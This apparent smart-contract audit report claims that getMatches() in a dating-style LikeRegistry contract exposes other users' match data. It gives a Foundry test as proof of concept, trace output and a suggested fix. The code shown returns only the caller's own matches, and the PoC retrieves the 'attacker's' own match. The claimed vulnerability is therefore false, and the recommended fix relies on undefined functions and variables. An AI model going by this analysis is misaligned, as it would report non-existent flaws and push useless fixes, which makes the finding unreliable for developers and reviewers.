Summary
Unauthorized access to the getMatches()
function in LikeRegistry.sol
allows any external user to retrieve match data, potentially exposing sensitive user relationships. This lack of access control poses a privacy risk to protocol users.
Vulnerability Details
The function getMatches()
is publicly accessible, enabling any external caller to retrieve match data stored in the matches
mapping. Since there are no access restrictions, an attacker can easily enumerate and extract all stored match data. The vulnerability exists due to the function being exposed without proper authentication or role-based access control.
function getMatches() public view returns (address[] memory) {
return matches[msg.sender];
}
The function directly returns the caller's match data without verifying whether the caller is authorized to view such information.
Any external address can invoke this function and extract private relationship data between users.
PoC
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
contract LikeRegistryPrivacyTest is Test {
LikeRegistry likeRegistry;
address attacker;
address victim;
function setUp() public {
attacker = address(0xBEEF);
victim = address(0xCAFE);
likeRegistry = new LikeRegistry(vm.addr(1));
vm.deal(attacker, 100 ether);
vm.deal(victim, 100 ether);
vm.prank(address(likeRegistry.profileNFT()));
vm.mockCall(
address(likeRegistry.profileNFT()),
abi.encodeWithSignature("profileToToken(address)", attacker),
abi.encode(uint256(1))
);
vm.prank(address(likeRegistry.profileNFT()));
vm.mockCall(
address(likeRegistry.profileNFT()),
abi.encodeWithSignature("profileToToken(address)", victim),
abi.encode(uint256(1))
);
vm.prank(attacker);
likeRegistry.likeUser{value: 1 ether}(victim);
vm.prank(victim);
likeRegistry.likeUser{value: 1 ether}(attacker);
}
function testUnauthorizedAccessToMatches() public {
vm.prank(attacker);
address[] memory matches = likeRegistry.getMatches();
assertGt(matches.length, 0, "Match data is publicly accessible");
}
}
PoC Results:
forge test --match-test testUnauthorizedAccessToMatches -vvvv
[⠆] Compiling...
[⠑] Compiling 1 files with Solc 0.8.28
[⠃] Solc 0.8.28 finished in 323.08ms
Ran 1 test for test/LikeRegistryPrivacyTest.t.sol:LikeRegistryPrivacyTest
[PASS] testUnauthorizedAccessToMatches() (gas: 17928)
Traces:
[17928] LikeRegistryPrivacyTest::testUnauthorizedAccessToMatches()
├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF)
│ └─ ← [Return]
├─ [5574] LikeRegistry::getMatches() [staticcall]
│ └─ ← [Return] [0x000000000000000000000000000000000000cafE]
├─ [0] VM::assertGt(1, 0, "Match data is publicly accessible") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 643.36µs (76.66µs CPU time)
Ran 1 test suite in 3.25ms (643.36µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Privacy Violation: User match data may be sensitive in the context of the application, leading to concerns over privacy leaks.
Social Engineering Risk: Malicious actors can analyze the retrieved data to craft targeted social engineering attacks.
Reputational Damage: Users may lose trust in the protocol if they discover that match data is accessible to unauthorized parties.
Tools Used
Forge Foundry
Manual Code Review
Recommendations
Implement Access Control: Restrict getMatches()
to only return data to authenticated users.
function getMatches() public view returns (address[] memory) {
require(msg.sender == owner || hasValidProfile(msg.sender), "Unauthorized access");
return matches[msg.sender];
}